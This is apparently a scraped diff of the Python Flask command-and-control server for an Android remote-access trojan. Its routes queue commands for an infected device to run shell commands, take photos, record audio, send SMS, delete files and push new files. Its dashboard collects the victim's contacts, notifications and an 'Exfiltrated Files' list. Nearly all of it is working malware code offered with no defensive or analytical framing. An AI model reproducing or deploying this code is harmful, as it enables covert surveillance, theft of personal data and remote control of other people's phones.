|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 165 |
</div>
|
| 166 |
+
<div style="flex:1">
|
| 167 |
+
<h4>Contacts</h4>
|
| 168 |
+
<div id="cont_list" style="max-height:300px;overflow:auto"></div>
|
|
|
|
|
|
|
|
|
|
|
|
|
| 169 |
</div>
|
| 170 |
+
</div>
|
| 171 |
+
<h4>SMS</h4>
|
| 172 |
+
<input id="sms_n" placeholder="Number">
|
| 173 |
+
<input id="sms_t" placeholder="Message">
|
| 174 |
+
<button onclick="send('send_sms', {number:document.getElementById('sms_n').value, text:document.getElementById('sms_t').value})">Send SMS</button>
|
| 175 |
+
</div>
|
| 176 |
+
|
| 177 |
+
<div id="server" class="panel">
|
| 178 |
+
<h3>Exfiltrated Files</h3>
|
| 179 |
+
<button onclick="location.reload()">Refresh</button>
|
| 180 |
+
<ul class="file-list">
|
| 181 |
+
{% for f in uploaded_files %}
|
| 182 |
+
<li>
|
| 183 |
+
<a href="/uploads_from_client/{{f}}" target="_blank">{{f}}</a>
|
| 184 |
+
</li>
|
| 185 |
+
{% endfor %}
|
| 186 |
+
</ul>
|
| 187 |
+
</div>
|
| 188 |
+
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
| 189 |
</body>
|
| 190 |
</html>
|
| 191 |
"""
|
| 192 |
|
| 193 |
@app.route('/')
|
| 194 |
def index():
|
| 195 |
+
files = sorted(os.listdir(app.config['UPLOAD_FOLDER']))
|
| 196 |
+
return render_template_string(HTML_TEMPLATE, uploaded_files=files)
|
| 197 |
|
| 198 |
@app.route('/send_command', methods=['POST'])
|
| 199 |
def handle_send_command():
|
| 200 |
global pending_command, command_output
|
|
|
|
| 201 |
data = request.json
|
| 202 |
+
cmd_type = data.get('command_type')
|
| 203 |
|
| 204 |
+
command_payload = {'type': cmd_type}
|
| 205 |
|
| 206 |
+
if cmd_type == 'shell': command_payload['command'] = data.get('command')
|
| 207 |
+
elif cmd_type == 'list_files': command_payload['path'] = data.get('path')
|
| 208 |
+
elif cmd_type == 'request_download_file': command_payload = {'type': 'upload_to_server', 'filename': data.get('filename')}
|
| 209 |
+
elif cmd_type == 'zip_and_upload_dir': command_payload['path'] = data.get('path')
|
| 210 |
+
elif cmd_type == 'delete_file': command_payload['filename'] = data.get('filename')
|
| 211 |
+
elif cmd_type == 'take_photo': command_payload['camera_id'] = data.get('camera_id')
|
| 212 |
+
elif cmd_type == 'record_audio': command_payload['duration'] = data.get('duration')
|
| 213 |
+
elif cmd_type == 'clipboard_set': command_payload['text'] = data.get('text')
|
| 214 |
+
elif cmd_type == 'open_url': command_payload['url'] = data.get('url')
|
| 215 |
+
elif cmd_type == 'send_sms':
|
| 216 |
+
command_payload['number'] = data.get('number')
|
| 217 |
+
command_payload['text'] = data.get('text')
|
| 218 |
+
elif cmd_type == 'tts_speak': command_payload['text'] = data.get('text')
|
| 219 |
+
elif cmd_type == 'vibrate': command_payload['duration'] = data.get('duration')
|
| 220 |
+
elif cmd_type == 'torch': command_payload['state'] = data.get('state')
|
| 221 |
+
elif cmd_type == 'receive_file':
|
| 222 |
+
fname = data.get('server_filename')
|
| 223 |
+
command_payload['download_url'] = url_for('download_client', filename=fname, _external=True)
|
| 224 |
+
command_payload['target_path'] = data.get('target_path_on_device')
|
| 225 |
+
command_payload['original_filename'] = fname.split('_', 1)[1] if '_' in fname else fname
|
| 226 |
+
|
| 227 |
+
pending_command = command_payload
|
| 228 |
+
command_output = "Command queued..."
|
| 229 |
+
return jsonify({'status': 'queued'})
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 230 |
|
| 231 |
@app.route('/get_command', methods=['GET'])
|
| 232 |
def get_command():
|
| 233 |
global pending_command
|
| 234 |
if pending_command:
|
| 235 |
+
c = pending_command
|
| 236 |
+
pending_command = None
|
| 237 |
+
return jsonify(c)
|
| 238 |
return jsonify(None)
|
| 239 |
|
| 240 |
@app.route('/submit_client_data', methods=['POST'])
|
| 241 |
+
def submit_data():
|
| 242 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
|
|
|
|
| 243 |
data = request.json
|
| 244 |
+
if not data: return jsonify({'status':'no_data'}), 400
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 245 |
|
| 246 |
+
last_client_heartbeat = datetime.datetime.utcnow().isoformat()
|
| 247 |
+
if 'output' in data: command_output = data['output']
|
| 248 |
+
if 'current_path' in data: current_client_path = data['current_path']
|
| 249 |
+
if 'device_status_update' in data: device_status_info = data['device_status_update']
|
| 250 |
+
if 'notifications_update' in data: notifications_history = data['notifications_update']
|
| 251 |
+
if 'contacts_update' in data: contacts_list = data['contacts_update']
|
|
|
|
|
|
|
| 252 |
|
| 253 |
+
return jsonify({'status': 'ok'})
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 254 |
|
| 255 |
+
@app.route('/get_status', methods=['GET'])
|
| 256 |
+
def get_status():
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 257 |
return jsonify({
|
| 258 |
+
'output': command_output,
|
| 259 |
+
'heartbeat': last_client_heartbeat,
|
| 260 |
+
'path': current_client_path,
|
| 261 |
+
'status': device_status_info,
|
| 262 |
'notifications': notifications_history,
|
| 263 |
'contacts': contacts_list
|
| 264 |
})
|
| 265 |
|
| 266 |
+
@app.route('/upload_from_client', methods=['POST'])
|
| 267 |
+
def upload_rx():
|
| 268 |
+
f = request.files['file']
|
| 269 |
+
if f:
|
| 270 |
+
fn = werkzeug.utils.secure_filename(f.filename)
|
| 271 |
+
f.save(os.path.join(app.config['UPLOAD_FOLDER'], fn))
|
| 272 |
+
return jsonify({'status': 'success'})
|
| 273 |
+
return jsonify({'status': 'error'}), 400
|
| 274 |
+
|
| 275 |
@app.route('/uploads_from_client/<path:filename>')
|
| 276 |
+
def serve_upload(filename):
|
| 277 |
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
|
| 278 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 279 |
@app.route('/upload_to_server_for_client', methods=['POST'])
|
| 280 |
+
def upload_tx():
|
| 281 |
+
global pending_command
|
| 282 |
+
f = request.files['file_to_device']
|
| 283 |
+
target = request.form.get('target_path_on_device')
|
| 284 |
+
if f and target:
|
| 285 |
+
fn = str(uuid.uuid4()) + "_" + werkzeug.utils.secure_filename(f.filename)
|
| 286 |
+
f.save(os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], fn))
|
| 287 |
+
pending_command = {
|
| 288 |
+
'type': 'receive_file',
|
| 289 |
+
'download_url': url_for('download_client', filename=fn, _external=True),
|
| 290 |
+
'target_path': target,
|
| 291 |
+
'original_filename': werkzeug.utils.secure_filename(f.filename)
|
| 292 |
+
}
|
| 293 |
+
return jsonify({'status': 'success'})
|
| 294 |
+
return jsonify({'status': 'error'}), 400
|
|
|
|
|
|
|
|
|
|
| 295 |
|
| 296 |
@app.route('/download_to_client/<filename>')
|
| 297 |
+
def download_client(filename):
|
| 298 |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename)
|
| 299 |
|
| 300 |
if __name__ == '__main__':
|